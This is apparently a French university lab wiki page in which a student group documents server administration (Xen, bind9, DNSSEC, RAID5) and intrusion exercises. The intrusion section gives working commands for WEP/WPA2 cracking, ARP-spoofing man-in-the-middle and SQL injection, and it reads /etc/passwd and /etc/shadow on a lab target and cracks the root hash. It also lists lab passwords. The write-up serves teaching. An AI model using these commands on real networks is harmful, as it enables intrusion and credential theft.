         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons changé notre page index.html, puis nous avons build notre nouvelle image docker, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur tous les serveurs webs, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55049</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55049"/>
				<updated>2020-12-20T10:59:17Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
